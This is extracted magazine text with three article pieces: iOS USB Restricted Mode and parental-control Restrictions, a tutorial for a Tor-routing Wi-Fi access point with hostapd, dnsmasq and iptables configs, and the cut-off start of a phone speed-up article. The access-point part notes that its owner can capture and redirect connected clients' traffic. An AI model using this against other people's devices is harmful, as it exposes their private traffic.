Компь ютер при этом не видит ничего: недос тупна даже базовая информа ция
об  устрой стве  (такая  как  модель,  серий ный  номер  и  вер сия  iOS).  Само  же
устрой ство покажет вот такое всплы вающее уве дом ление:

Те лефон теперь пот ребу ется раз бло киро вать

В  текущей  реали зации  режим  USB  Restricted  Mode  появил ся  в  iOS  далеко
не  сра зу.  Если  в  бета‐вер сиях  iOS  11.3  этот  режим  акти виро вал ся  спус тя
семь  дней  с момен та  пос ледней  раз бло киров ки  устрой ства,  то  в  iOS  11.4.1
beta (а так же в пер вой тес товой сбор ке iOS 12) USB‐порт отклю чает ся спус тя
все го час. Таким обра зом, если ты не раз бло киро вал телефон в течение часа
(и  не  под клю чал  его  к  доверен ному  устрой ству),  решение  Cellebrite
или GrayKey для взло ма пароля не смо жет работать: оно поп росту не уви дит
телефон.

Ре жим  USB  Restricted  Mode  дос таточ но  надежен:  телефон  по‐преж нему
отка жет ся  общать ся  с  компь юте ром,  даже  если  его  перезаг рузить.  Если
перевес ти  iPhone  в  режим  Recovery  или  DFU,  он  ста новит ся  дос тупен
с компь юте ра, но перебор паролей в этих режимах невоз можен. Мы пытались
«вос ста новить» телефон, залив на него све жую про шив ку, — но даже это не
помог ло отклю чить USB Restricted Mode пос ле перезаг рузки в сис тему.

Итак,  Apple  пыта ется  защитить  твой пароль от  взло ма. Но  что,  если  зло‐ 
умыш ленник под смот рел пароль бло киров ки или вынудил тебя его сооб щить?
Даже тог да положе ние далеко от без выход ного.

ОГРАНИЧЕНИЯ РОДИТЕЛЬСКОГО КОНТРОЛЯ: ТОТ САМЫЙ
ДОПОЛНИТЕЛЬНЫЙ УРОВЕНЬ ЗАЩИТЫ
Ес ли  твой  телефон  уже  попал  в  руки  к  спец служ бам  или  укра ден,  делать
что‐либо,  помимо  бло киров ки  через  iCloud,  поз дно.  И  даже  бло киров ка
не осо бо поможет: зная пароль бло киров ки телефо на, зло умыш ленник смо‐ 
жет  как  минимум  сбро сить  пароль  на  резер вную  копию,  извлечь  пароли
от  тво их  соци аль ных  сетей  и  поч товых  сер висов.  Час тично  защитить ся
от  такого сце нария мож но при помощи огра ниче ний родитель ско го  кон тро‐ 
ля — Restrictions.

Из началь но  огра ниче ния  появи лись  в  iOS  как  средс тво  родитель ско го
кон тро ля,  поз воля ющее  заб локиро вать  или  огра ничить  опре делен ные  при‐ 
ложе ния  и  фун кции  на  iPhone,  iPad  или  iPod  touch  ребен ка.  Тем  не  менее
огра ниче ния  спо соб ны  помочь  и  тог да,  ког да  телефон  укра ден  зло умыш‐ 
ленни ком или попал в руки спец служб. Под робно об огра ниче ниях родитель‐ 
ско го кон тро ля мож но почитать в статье «

». Мы же вос поль зуем‐ 
ся  огра ниче ниями  имен но  с  целью  допол нитель но  обе зопа сить  iPhone,
пароль бло киров ки которо го ском про мети рован.

Ис поль зование родитель ско го кон‐ 
тро ля на устрой ствах iPhone, iPad и iPod touch ребен ка

Ог раниче ния на сброс пароля к резер вной копии
Пер вое  и  самое  глав ное:  что бы  огра ничить  воз можность  сбро са  пароля
к  локаль ной  резер вной  копии  iOS,  тебе  дос таточ но  прос то  вклю чить  огра‐ 
ниче ния  как  таковые,  без  каких‐либо  допол нитель ных  нас тро ек.  Для  это го
открой меню «Нас трой ки» и выбери «Основные → Огра ниче ния». Затем нуж‐ 
но  выб рать  «Вклю чить  огра ниче ния»  и  задать  PIN‐код  из  четырех  цифр.
Разуме ется,  этот  код  дол жен  отли чать ся  от  цифр  пароля  бло киров ки  и  не
дол жен  сов падать  с  тво им  годом  рож дения  или  циф рами  из  телефон ного
номера.  Этот  код  понадо бит ся  тебе  в  исклю читель но  ред ких  слу чаях,  ког да
пот ребу ется изме нить нас трой ки или отклю чить огра ниче ния, поэто му впол не
рабочим сце нари ем будет  уста нов ка совер шенно слу чай ного  кода,  который
хра нит ся у тебя дома, записан ный на бумаж ке.

Что  про изой дет  при  попыт ке  сбро сить  пароль  на  резер вную  копию  пос ле
вклю чения  огра ниче ний  через  меню  Reset  all  settings?  Сис тема  все  так  же
зап росит пароль бло киров ки устрой ства. На сле дующем же шаге пот ребу ется
ввес ти допол нитель ный четырех знач ный PIN‐код огра ниче ний. С уче том того,
что  под смот реть  код  бло киров ки  зна читель но  про ще,  чем  узнать  ред ко
исполь зуемый  PIN  огра ниче ний,  эта  допол нитель ная  мера  безопас ности
впол не  спо соб на  отва дить  любопыт ных.  Впро чем,  мно го  ли  от  нее  поль зы,
если  твои  пароли  из  связ ки  клю чей  мож но  прос мотреть  на  самом  устрой‐ 
стве?

Продолжение статьи →
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За щита от дос тупа к паролям из связ ки клю чей: отсутс тву ет
К сожале нию, ни одно из дос тупных «огра ниче ний» не рег ламен тиру ет дос туп
к сох ранен ным в связ ке клю чей паролям. В связ ке клю чей час то содер жатся
пароли  к  учет ным  записям Google,  Apple, Microsoft,  что  поз волит  зло умыш‐ 
ленни ку  сме нить  твой  пароль  к  iCloud  и,  соот ветс твен но,  отвя зать  от  него
iPhone,  даже  не  зная  PIN‐кода  «огра ниче ний».  Вот,  нап ример,  мой  пароль
от Apple  ID — его спо кой но мож но прос мотреть даже при вклю чен ных огра‐ 
ниче ниях:

Как доб рать ся? Нес ложно: Settings → Accounts & Passwords → App & Website
Passwords.  Сис тема  зап росит  отпе чаток  паль ца  (или  иден тифика цию  через
Face ID):

Не  подумай,  что  это  тот  самый  допол нитель ный  слой  защиты.  Нес коль ко
неудач ных попыток, и вот уже на экра не зап рос на код бло киров ки iPhone:

Вво дишь код бло киров ки — и все пароли твои. Пароли из связ ки клю чей мож‐ 
но прос матри вать по одно му или копиро вать в буфер длин ным нажати ем.

К  сожале нию,  мы  не  наш ли  спо соба  огра ничить  дос туп  к  паролям
на  устрой ствах  без  внеш ней  полити ки  безопас ности.  Единс твен ное,  что  ты
можешь  сде лать, —  это  убе дить ся,  что  пароль  хотя  бы  от  Apple  ID  /  iCloud
в тво ей связ ке клю чей не при сутс тву ет. Уси лен но рекомен дуем это сде лать,
ина че все опи сан ное выше будет при мени мо к тво ему iPhone в пол ной мере.

Ог раниче ния на сброс iCloud Lock и изме нение пароля Apple ID
Убе див шись,  что  пароль от Apple  ID и  iCloud  в  тво ей  связ ке  клю чей не  зас‐ 
вечен,  мож но  перехо дить  к  сле дующе му  шагу:  огра ничить  воз можность
отклю чения  фун кции  Find  my  iPhone  и  сбро са  пароля  от  Apple  Account
при помощи кода бло киров ки устрой ства. Для это го нуж но уста новить огра‐ 
ниче ние на изме нение нас тро ек учет ных записей:

Пос ле  это го  ник то  не  смо жет  получить  дос туп  к  тво ей  учет ной  записи,
не отклю чив пред варитель но дан ное огра ниче ние:

К  сожале нию,  по  непонят ной  при чине  дос туп  к  паролям  из  связ ки  клю чей
оста ется откры тым. С нашей точ ки зре ния — оче вид ней шая недора бот ка.

Как защитить ся от jailbreak?
В пре дыду щих выпус ках мы мно го писали о том, как пра виль но уста новить jail‐
break, что бы получить пол ный дос туп к информа ции. А что нас чет обратно го?
Мож но  ли  как‐то  защитить  свой  телефон  от  взло ма?  Даже  если  сей час
на уста нов ленную в тво ем устрой стве вер сию iOS еще не выпущен соот ветс‐ 
тву ющий jailbreak, шанс на то, что он появит ся через какое‐то вре мя, весь ма
высок.

К  сожале нию,  единс твен ный  спо соб  защитить ся  от  jailbreak —  это  уста‐ 
новить огра ниче ние на уста нов ку при ложе ний.

По чему  «к  сожале нию»?  Потому  что  в  отли чие  от  огра ниче ний,  которые  мы
уже  рас смот рели,  огра ниче ние  на  уста нов ку  при ложе ний  может  дос тавить
замет ные  неудобс тва  в  пов седнев ном  исполь зовании  устрой ства  и  рано
или поз дно будет отклю чено. Отдель ного же огра ниче ния на уста нов ку при‐ 
ложе ний  не  из  App  Store  (подоб ного  соот ветс тву юще му  режиму  в  Android)
в  устрой ствах  под  управле нием  iOS  прос то  нет.  Соот ветс твен но,  для  боль‐ 
шинс тва поль зовате лей мы не можем рекомен довать этот спо соб.

Нас коль ко безопас ны огра ниче ния?
Единс твен ный вид пароля, который ты можешь выб рать для огра ниче ний, —
четырех знач ный  PIN‐код.  Десять  тысяч  ком бинаций.  В  прин ципе,  ничего
слож ного,  любой робот для перебо ра паролей дол жен спра вить ся  в разум‐ 
ный срок. Или нет?

Ог раниче ния — фун кция  iOS.  Телефон дол жен быть  пол ностью  заг ружен
и  раз бло киро ван,  толь ко  в  этом  слу чае  мож но  попытать ся  снять  пароль
с  огра ниче ний.  Казалось  бы,  задача  прос та,  но  раз работ чики  iOS  учли  этот
момент.  Пос ле  нес коль ких  неудач ных  попыток  сис тема  огра ничит  ско рость
перебо ра  PIN‐кодов  огра ниче ний,  вво дя  прог рессив ные  задер жки  в  1,  5,
15 и 60 минут. Пос ле десяти неудач ных попыток каж дая сле дующая попыт ка
может  быть  пред при нята  не  ранее  чем  через  60  минут  пос ле  пре дыду щей;
перезаг рузка устрой ства не поможет уско рить про цесс.

При  ско рос ти  перебо ра  один  код  в  час  прос транс тво  из  10  тысяч  ком‐ 
бинаций  мож но  переб рать  при мер но  за  416  дней.  Это  доволь но  дол го  и,
пожалуй,  дос таточ но  безопас но  для  боль шинс тва  обыч ных  поль зовате лей.
Конеч но, с безопас ностью пароля к резер вной копии не срав нить, но все же
гораз до луч ше, чем ничего. Тем не менее сама воз можность сбро сить пароль
на  резер вную  копию  даже  через  416  дней  уже  не  поз воля ет  говорить
о какой‐то осо бой безопас ности iOS в срав нении, нап ример, с устрой ства ми
на  BlackBerry  10,  чьи  резер вные  копии  шиф ровались  дво ичным  клю чом,
который  сох ранял ся  на  сер вере  ком пании BlackBerry  или  (если  речь  о  кор‐ 
поратив ных  устрой ствах)  на  сер вере  ком пании  —  вла дель ца  устрой ства.
Разуме ется, о сбро се это го пароля на самом устрой стве речи не шло.

ЧТО ДЕЛАТЬ ПРИ ПЕРЕСЕЧЕНИИ ГРАНИЦЫ?
По при меру Соеди нен ных Шта тов пог ранич ники раз ных стран начина ют все
активнее инте ресо вать ся содер жимым пер сональ ных гад жетов. Этот про цесс
будет  набирать  обо роты;  так,  в  2017  году  пог ранич ники  США  зарегис три‐ 
рова ли  поряд ка  30  тысяч  тре бова ний  раз бло киро вать  смар тфо ны  путешес‐ 
твен ников. Кос нуть ся может любого, неп рикаса емых нет:

A US-born NASA scientist was detained at the border until he unlocked his
phone.

За годы, про шед шие с начала подоб ной прак тики, вырабо тались и рекомен‐ 
дации  для  путешес твен ников.  Жизнь  показа ла,  что  соп ротив ление  нераци‐ 
ональ но:  ты име ешь пол ное пра во не раз бло киро вать  телефон, а пог ранич‐ 
ник име ет пра во не пус тить тебя в стра ну или (если ты граж данин) задер жать
тебя до тех пор, пока ты не сог ласишь ся выпол нить все тре бова ния.

При  пересе чении  гра ницы  име ет  смысл  поп робовать  защитить  важ ные
дан ные от  авто мати зиро ван ного  ана лиза,  задав  слож ный и  длин ный пароль
на резер вную копию (луч ше, что бы он был слу чай ным; запоми нать его необя‐ 
затель но  —  сбро сить  мож но  в  любой  момент)  и  уста новив  огра ниче ние
на  сброс  пароля  от  резер вной  копии.  У  пог ранич ника  нет  416  дней
на  перебор  всех  кодов  огра ниче ний,  так  что  все  закон чится  руч ным  дос‐ 
мотром  того,  до  чего  пог ранич ник  смо жет  дотянуть ся  непос редс твен но
с экра на устрой ства  (еще раз напом ним, что огра ниче ния не меша ют прос‐ 
матри вать  пароли  из  связ ки  клю чей).  Сам  же  пароль  на  огра ниче ния  ты
можешь  поп росить  уста новить  чле на  семьи,  записав  пароль  на  бумаж ку,
которая оста нет ся дома.

ЗАКЛЮЧЕНИЕ
Раз витие  iOS  идет  зиг загами.  Воз можность  сбро са  пароля  на  резер вные
копии  при  помощи  одно го  лишь  кода  бло киров ки  устрой ства  раз работ чики
Apple  пыта ются  ком пенси ровать  усложне нием  усло вий,  при  которых  воз‐ 
можен  взлом  пас ско да,  оставляя  при  этом  откры тым  дос туп  к  паролям
из связ ки клю чей. Все, что оста ется обыч ным, не кор поратив ным поль зовате‐ 
лям, — это вос поль зовать ся «дет ски ми» огра ниче ниями, которые, оче вид но,
не пред назна чены для серь езной защиты дан ных.

В  то  же  вре мя  в  iOS  нет  сек ретных  «чер ных  ходов»  или  явных  проб лем
в шиф ровании;  из штаб‐квар тиры  Apple  не  выходят  заг рузчи ки  с  наив ными,
прос то дет ски ми уяз вимос тями (камень в ого род ком пании OnePlus), не уте‐ 
кают циф ровые под писи (камень в ого род Microsoft и клю чей от Secure Boot),
не  соз дают ся  и  не  получа ют  рас простра нения  инже нер ные  заг рузчи ки
(машем  рукой  Samsung).  Те  уяз вимос ти,  которые  все‐таки  есть,  обна ружи‐ 
вают ся тру дом и уси лиями про фес сиональ ных команд, а их исполь зование —
час то дело нет риви аль ное.
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ПРИВАТНОСТЬ

В этой  статье  рас смот рим,  как  кон фигури‐ 
ровать  точ ку  дос тупа  Wi‐Fi  с  авто мати чес‐ 
кой ано ними заци ей все го исхо дяще го тра‐ 
фика  через  сеть  Tor,  а  так же  взгля нем
на  некото рые  полез ные  при меры  ее  при‐ 
мене ния  как  для  прос того  поль зовате ля,
так и для иссле дова теля безопас ности.

WARNING

Вся  информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный матери ала ми дан ной статьи.

ЗАЧЕМ НАМ TOR AP?
В  пос леднее  вре мя  на  фоне  мас совых  бло киро вок  IP‐адре сов  все  мень ше
людей про дол жает сом невать ся, нуж ны ли механиз мы прок сирова ния и ано‐ 
ними зации  в  их  пов седнев ной жиз ни.  Бес плат ных  VPN‐кли ентов  появ ляет ся
все боль ше, но,  как  , далеко не всем из них безопас но
пол ностью  доверять:  то  качес тво  реали зации  хро мает,  то 

.

по казы вает прак тика
раз работ чики

не слиш ком доб росовес тны
Как извес тно, Tor «из короб ки» пре дос тавля ет как механизм прок сирова‐ 

ния  (читай:  обхо да  бло киро вок),  так  и  прод винутый механизм  ано ним ности.
Вся связь меж ду узла ми в сети Tor шиф рует ся, а соеди нение с целевым узлом
уста нав лива ется пос редс твом  как минимум  трех слу чай но выб ранных  узлов.
Взяв за осно ву Tor и авто мати зиро вав все про цес сы, про исхо дящие при под‐ 
клю чении  к  точ ке  дос тупа  (далее  —  AP),  в  резуль тате  мы  получим  весь ма
инте рес ный инс тру мент, поль за от которо го отнюдь не исчерпы вает ся обхо‐ 
дом бло киро вок.

INFO

Об  уяз вимос тях  в  прик ладном  ПО  для  Tor  было
упо мяну то  не  раз,  в  том  чис ле  и 

.
в  новос тях

на Хакере

ПЕРВИЧНАЯ НАСТРОЙКА AP
Для  соз дания  точ ки  нам  понадо бит ся  какое‐нибудь  устрой ство,  на  котором
мож но запус тить опе раци онку  (вир туал ка тоже впол не сго дит ся). В качес тве
опе раци онной сис темы, управля ющей точ кой, подой дет любой Linux‐дис три‐ 
бутив. Кон крет но я буду исполь зовать Debian‐based. Для прев ращения все го
это го в AP понадо бит ся Wi‐Fi‐адап тер.

Ес ли все это выпол нено, мож но прис тупать к пер вичной нас трой ке. Итак,
в  пер вую  оче редь  под клю чаем Wi‐Fi‐адап тер.  Вывод 
(wlan0 — имя интерфей са адап тера, может быть дру гим) дол жен быть такой,
как на скри не.

ip  addr  show  wlan0

Де тали сетево го интерфей са адап тера

На дан ный момент  сетевой интерфейс не  скон фигури рован. Пер вым делом
акти виру ем Wi‐Fi, осво бодив его от вли яния вез десуще го Network Manager’а:

$ sudo nmcli radio wifi off
$ sudo rfkill unblock wlan

Те перь  выберем  и  наз начим  интерфей су  адап тера  IP‐адрес,  все  адре са
из мас ки которо го будут наз начать ся в даль нейшем кли ент ским устрой ствам:

# ip addr add 10.0.0.1/24 dev wlan0

Треть им  пун ктом мы  переве дем  адап тер  в  режим  AP:  делать  это  мы  будем
одним  из  наибо лее  рас простра нен ных  спо собов  —  с  помощью  ути литы

,  поз воля ющей  скон фигури ровать  прог рам мную  точ ку  дос тупа.
Hostapd при сутс тву ет в боль шинс тве штат ных репози тори ев.
hostapd

$ sudo apt‐get install hostapd

Да лее нуж но соз дать кон фиг для hostapd (./hostapd.conf):

# Имя интерфейса адаптера
interface=wlan0
# SSID AP
ssid=TorNet
# Автоматический выбор канала
channel=1
# Разрешить подключение со всех MAC‐адресов, которые не запрещены
macaddr_acl=0
# Файл с запрещенными для подключения MAC‐адресами
deny_mac_file=./denied_macs
# Логировать все модули (IEEE, WPA, IAPP и так далее)
logger_syslog=‐1
# Логировать с модулей только informational messages
logger_syslog_level=2
# Режим: IEEE 802.11g
hw_mode=g
# Включить аутентификацию WPA/2
wpa=2
# Пароль WPA для доступа к точке
wpa_passphrase=xxxxxxxx
# Принимаемые алгоритмы управления ключами
wpa_key_mgmt=WPA‐PSK WPA‐EAP WPA‐PSK‐SHA256 WPA‐EAP‐SHA256

Пос ле это го уже мож но будет запус тить hostapd для перево да Wi‐Fi‐адап тера
в режим AP с опи сан ной кон фигура цией:

# hostapd ./hostapd.conf

Hostapd и Network Manager
В  некото рых  вер сиях  hostapd  при сутс тву ет  баг,  свя зан ный  с  бло киров кой
интерфей са Network Manager’ом и не поз воля ющий запус кать AP. В резуль‐ 
тате запус ка hostapd воз ника ет сле дующая ошиб ка:

Interface wlan0 wasn't started

Под робно баг и воз можный вор кэра унд опи сан  .здесь

Од нако  по  понят ным  при чинам  под клю чить ся  к  точ ке  при выч ным  обра зом
пока будет невоз можно.

По пыт ка под клю чения к AP без DHCP

Для устра нения этих при чин понадо бит ся дру гая ути лита — dnsmasq, которая
поз волит раз вернуть служ бы DHCP и DNS. DHCP сей час пред став ляет боль‐ 
ший инте рес. Ста вим dnsmasq из стан дар тно го репози тория:

$ sudo apt‐get install dnsmasq

Dnsmasq так же нуж дает ся в пред варитель ной нас трой ке (./dnsmasq.conf):

# Интерфейс для прослушки DHCP‐запросов
interface=wlan0
# Диапазон выдаваемых клиентам адресов и срок действия
# (должны подходить под маску сетевого шлюза адаптера!)
dhcp‐range=10.0.0.10,10.0.0.250,8h
# Шлюз по умолчанию
dhcp‐option=3,10.0.0.1
# DNS‐шлюз
dhcp‐option=6,10.0.0.1
# Логировать DNS‐запросы
log‐queries
# Логировать DHCP‐запросы
log‐dhcp

За пус каем DHCP‐сер вер в сос таве dnsmasq:

# dnsmasq ‐C ./dnsmasq.conf

Те перь под клю чение  к AP ста новит ся  воз можным с любых  устрой ств. Что бы
наша  точ ка  наконец  зарабо тала  в  обыч ном  режиме,  оста лось  отве тить
на глав ный воп рос: отку да точ ка будет брать дос туп в интернет. Для получе‐ 
ния отве та пред лагаю взгля нуть на схе му ниже. Боль шинс тво читате лей,  так
или ина че соп рикасав шихся с нас трой кой сетей, заметят на нем дос таточ но
при выч ную схе му свя зыва ния сетей. Имен но этот спо соб мы и будем исполь‐ 
зовать.

Схе ма дос тупа в интернет с AP

Как вид но из рисун ка, для дос тупа в интернет понадо бит ся еще один сетевой
интерфейс. Это может быть как Ethernet‐под клю чение (eth0), так и вто рой Wi‐
Fi‐модуль (wlan1). Нап ример, при соз дании AP из вир туаль ной машины такой
интерфейс  соз дает ся  авто мати чес ки  (eth0).  Сей час  у  нас  готово  все,
за исклю чени ем свя зи меж ду интерфей сами (обоз начен ной крас ной лини ей).
Эта  связь  пред став ляет  собой  пересыл ку  пакетов  с  одно го  интерфей са
на  дру гой.  Для  тес тирова ния  работос пособ ности  нашей  AP  пока  сго дит ся
и обыч ный механизм NAT:

$ sudo sysctl ‐w net.ipv4.ip_forward=1
$ sudo iptables ‐P FORWARD ACCEPT
$ sudo iptables ‐t nat ‐A POSTROUTING ‐o eth0 ‐j MASQUERADE

На  дан ном  эта пе  AP  зарабо тала  в  обыч ном  режиме:  при нима ет  кли ентов
и  пре дос тавля ет  им  дос туп  в  интернет  с  IP‐адре са,  выдан ного  нам  нашим
про вай дером.  Это,  конеч но  же,  замеча тель но,  но  для  наших  целей  недос‐ 
таточ но. Поэто му теперь нас тало вре мя перенап равле ния все го кли ент ско го
тра фика в Tor.

ВТОРИЧНАЯ НАСТРОЙКА AP
Пе ред перенап равле нием все го тра фика AP в Tor необ ходимо уста новить сам
Tor:

$ sudo apt‐get install tor

И нас тро ить его как Transparent Proxy с помощью кон фигура цион ного фай ла
(рас положен ного здесь: /etc/tor/torrc):

# Включаем доступ к onion‐ресурсам
VirtualAddrNetwork 192.168.100.0/10
AutomapHostsOnResolve 1
# Порт для прозрачного проксирования в рамках нашей сети
TransPort 10.0.0.1:9040
# Порт для анонимного резолвинга имен хостов
DNSPort 10.0.0.1:53

Этих нас тро ек для наших нужд впол не дос таточ но, поэто му можем запус кать
Tor как сер вис:

$ sudo service tor start

На  текущий момент  вывод    дол жен  быть  при мер но  таким,
как  на  скри не  ниже.  Мы  видим  все  запущен ные  нами  сер висы  на  текущий
момент.

netstat ‐tunapl

От кры тые пор ты на AP

Ес ли  сей час  под клю чить ся  к  AP,  то  мы  по‐преж нему  будем  выходить
в интернет с домаш него  IP, поэто му оста лось все го‐нав сего вклю чить прок‐ 
сирова ние через Tor с помощью iptables:

# Перенаправление всего TCP‐трафика
$ sudo iptables ‐t nat ‐A PREROUTING ‐i wlan0 ‐p tcp ‐j DNAT ‐‐to‐
destination 10.0.0.1:9040
# ...и DNS‐трафика в отдельности
$ sudo iptables ‐t nat ‐A PREROUTING ‐i wlan0 ‐p udp ‐‐dport 53 ‐j 
DNAT ‐‐to‐destination 10.0.0.1:53

Так же  нуж но  уда лить  пре дыду щее  пра вило,  вклю чающее  мас карад  меж ду
сетевы ми интерфей сами (NAT):

$ sudo iptables ‐t nat ‐D POSTROUTING ‐o eth0 ‐j MASQUERADE

Дву мя  новыми  пра вила ми  мы  добились  сле дующе го:  под мены  пун кта  наз‐ 
начения  все го  TCP‐тра фика  в  момент  появ ления  пакетов  на  сетевом
интерфей се Wi‐Fi‐адап тера и редирек та DNS‐зап росов (про токол UDP). Под‐ 
менен ный  пункт  наз начения  —  запущен ный  сер вис  Tor  с  Transparent  Proxy.
Сто ит обра тить вни мание, что на этих двух пра вилах нас трой ка iptables завер‐ 
шает ся.  Теперь мож но  убе дить ся  в работос пособ ности нас тро енной Tor AP,
посетив с любого под клю чен ного к ней устрой ства 2ip.ru.

PoC

RPi как AP
«Малин ка» отлично под ходит в качес тве управля юще го устрой ства AP: все го
нес коль ко  допол нитель ных  дей ствий  с  авто мати чес кой  раз вер ткой  кон‐ 
фигура ции при стар те сис темы  (systemd,  initV),  и оста нет ся все го лишь вот‐ 
кнуть USB‐кабель в «розет ку» для вклю чения точ ки в любой нуж ный момент.

ПРАКТИЧЕСКОЕ ПРИМЕНЕНИЕ AP
Имея  собс твен ную  AP,  с  которой  соеди няют ся  кли ент ские  устрой ства,  мы
по  умол чанию получа ем  воз можность  наб людения  за  всем  тра фиком  сво ей
сети,  как  пас сивно го,  так  и  активно го.  Перенап равле ние  в  Tor —  это  лишь
один из вари антов при мене ния AP в прик ладных задачах.

Ана лиз тра фика кли ент ских устрой ств
По жалуй,  самый  оче вид ный  вари ант,  который  сра зу  же  при ходит  в  голову.
Ник то  не  зап реща ет  запус тить  на  AP  Wireshark  или  tcpdump  и  зах ватывать
тра фик кон крет ного кли ента либо всех кли ент ских устрой ств сра зу до момен‐ 
та перенап равле ния тра фика в Tor. Воз можнос ти для зах вата здесь огра ниче‐ 
ны лишь уров нем защищен ности конеч ного устрой ства, поль зовате ля и при‐ 
ложе ния.  Тема  дос таточ но  извес тная,  поэто му  под робно  на  ней  оста нав‐ 
ливать ся не будем.

Зах ват тра фика по MAC‐адре су на AP

Ана лиз сетевой активнос ти при ложе ний
В  ИБ  час то  воз ника ет  задача  про ана лизи ровать  сетевую  активность  опре‐ 
делен ного  при ложе ния.  Нап ример,  у  нас  име ется  мобиль ное  при ложе ние,
которое  при  работе  исполь зует  нес коль ко  извес тных  нам  хос тов. Мы  хотим
методом  чер ного  ящи ка  про верить,  не  ведет  ли  при ложе ние  какие‐либо
скры тые  переда чи  на  допол нитель ные  уда лен ные  хос ты.  При чем  на  самом
устрой стве мы это сде лать не можем — нет соот ветс тву ющих прав на уров не
ОС.  Зато  у  нас  есть  AP,  находя щаяся  пол ностью  под  кон тро лем  и  с  мак‐ 
сималь ными пра вами! Ее исполь зование будет прак тичес ки ана логич но ана‐ 
лизу тра фика на целевом устрой стве.

Поп робу ем  иссле довать  работос пособ ность  при ложе ния  без  скры того
дос тупа к каким‐либо допол нитель ным ресур сам. Заранее мы отклю чили все
осталь ные источни ки побоч ного тра фика, генери руемо го из дру гих при ложе‐ 
ний.  Скры тые  переда чи  в  дан ном  слу чае  не  обя затель но  дол жны  быть  вре‐ 
донос ными — это могут  быть механиз мы  антиспа ма  (кон троль  того,  что  API
при ложе ния дей стви тель но исполь зует ся с мобиль ного устрой ства), рек ламы
и  так  далее.  Мы  можем  про пус кать  тра фик  методом  белого  ящи ка —  зап‐ 
рещено все, что не раз решено:

$ sudo iptables ‐t nat ‐F
$ sudo iptables ‐t nat ‐A PREROUTING ‐i wlan0 ‐p tcp ‐d <APP_HOST1> ‐
m mac ‐‐mac‐source <DEVICE_MAC> ‐‐dport 443 ‐j DNAT ‐‐to‐destination 
10.0.0.1:9040
$ sudo iptables ‐t nat ‐A PREROUTING ‐i wlan0 ‐p tcp ‐d <APP_HOST2> ‐
m mac ‐‐mac‐source <DEVICE_MAC> ‐‐dport 443 ‐j DNAT ‐‐to‐destination 
10.0.0.1:9040
$ sudo iptables ‐t nat ‐A PREROUTING ‐i wlan0 ‐p tcp ‐d <APP_HOST3> ‐
m mac ‐‐mac‐source <DEVICE_MAC> ‐‐dport 443 ‐j DNAT ‐‐to‐destination 
10.0.0.1:9040

Та ким обра зом мы раз решили попада ние в Tor толь ко тра фика с трех хос тов
опре делен ного  устрой ства,  весь  осталь ной  тра фик  не  покинет  интерфей са
wlan0, а сле дова тель но, ничего скры того переда но не будет. Оста нет ся лишь
убе дить ся, что в работе при ложе ния не появи лось дефек тов.

Бло киров ка опре делен ных хос тов
В дан ном  слу чае  неп лохим решени ем было бы  выдавать  сооб щение  о  том,
что  хост  заб локиро ван  в  нашей  сети.  Для  это го  мож но  под нять  веб‐сер вер
и  пере адре совы вать  кли ентов  с  заб локиро ван ного  ресур са  на  стра ницу
с  сооб щени ем.  Для  бло киров ки  ресур сов  по  HTTPS  понадо бит ся
как  минимум  сге нери ровать  самопод писан ный  сер тификат  и  нас тро ить
веб‐сер вер  на  работу  по  про токо лу  HTTPS.  Бло киров ку  мож но  про извести
пря мо в таб лице NAT:

$ sudo iptables ‐t nat ‐I PREROUTING 1 ‐i wlan0 ‐p tcp ‐d m.vk.com ‐‐
dport 80 ‐j DNAT ‐‐to‐destination 192.168.1.82:80
$ sudo iptables ‐t nat ‐I PREROUTING 1 ‐i wlan0 ‐p tcp ‐d m.vk.com ‐‐
dport 443 ‐j DNAT ‐‐to‐destination 192.168.1.82:443

Заб локиро ван ный в рам ках сети AP хост

Бло киров ка рек ламных сетей с целью повыше ния ано ним ности
Уже  дав но  извес тно,  что  скрип ты  рек ламных  сетей  ста рают ся  скрыт но  соб‐ 
рать  мак симум  воз можной  информа ции  о  посети телях  сай тов,  пред став ляя
таким обра зом допол нитель ную угро зу ано ним ности. К счастью, на собс твен‐ 
ной  AP  мы  можем  по  умол чанию  заб локиро вать  для  кли ентов  связь  рек‐ 
ламных скрип тов с рек ламны ми сетями. Для это го пред лагаю вер нуть ся к ути‐ 
лите dnsmasq: в качес тве одной из опций сво его кон фига ути лита пред лага ет
допол нитель ный источник DNS‐информа ции (нарав не с /etc/hosts). Изме ним
файл с кон фигом Dnsmasq (./dnsmasq.conf):

...
# Дополнительный источник DNS‐информации, содержащий рекламные сети
addn‐hosts=/full/path/to/my_dns_hosts.txt

Со дер жимое фай ла име ет  точ но  такой же фор мат,  как и  /etc/hosts, поэто му
с его напол нени ем проб лем быть не дол жно. Источник бло киру емых ресур‐ 
сов мож но выб рать самос тоятель но из   — там мож но
най ти hosts‐фай лы под бло киров ки раз личных мас шта бов (в самой боль шой
сбор ке было око ло 71 тысячи раз личных хос тов).

ре пози тория на GitHub

ЗАКЛЮЧЕНИЕ
Вот таким незамыс ловатым спо собом мы соз дали точ ку дос тупа, весь тра фик
которой  «пря чет ся»  за  Tor’ом,  а  в  качес тве  при ятно го  бонуса  мы  получи ли
воз можность «жон гли ровать» всем про ходя щим через нее тра фиком в собс‐ 
твен ных целях — как доб рых, так и не очень.

WWW

•Опи сание парамет ров кон фига hostapd
•Опи сание парамет ров кон фига dnsmasq
•Опи сание парамет ров кон фига torrc
•От личный Cheat Sheet по ути лите ip

mailto:antochi.anton@ya.ru
https://blog.csiro.au/tinker-torrentor-streamer-spy-vpn-privacy-alert/
https://torrentfreak.com/which-vpn-services-take-your-anonymity-seriously-2014-edition-140315/
https://xakep.ru/2016/06/27/playpen-expliot-classified/
https://en.wikipedia.org/wiki/Hostapd
https://bugs.launchpad.net/ubuntu/+source/wpa/+bug/1289047
https://github.com/StevenBlack/hosts
http://w1.fi/cgit/hostap/plain/hostapd/hostapd.conf
https://github.com/imp/dnsmasq/blob/master/dnsmasq.conf.example
https://www.torproject.org/docs/tor-manual.html.en
https://access.redhat.com/sites/default/files/attachments/rh_ip_command_cheatsheet_1214_jcs_print.pdf
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Те бе  не  хва тает  заряда  акку муля тора?
Надо ели тор моза в при ложе ниях? Не отча‐ 
ивай ся и не торопись покупать новый смар‐ 
тфон. Даже очень мед ленный гад жет мож но
зас тавить работать быс трее и зна читель но
уве личить  вре мя  жиз ни  от  акку муля тора.
В  этой  статье  мы  рас ска жем  о  мно жес тве
при емов, которые поз волят это сде лать.

Сра зу  ого ворюсь:  что бы  зас тавить  смар тфон  работать  дей стви тель но  быс‐ 
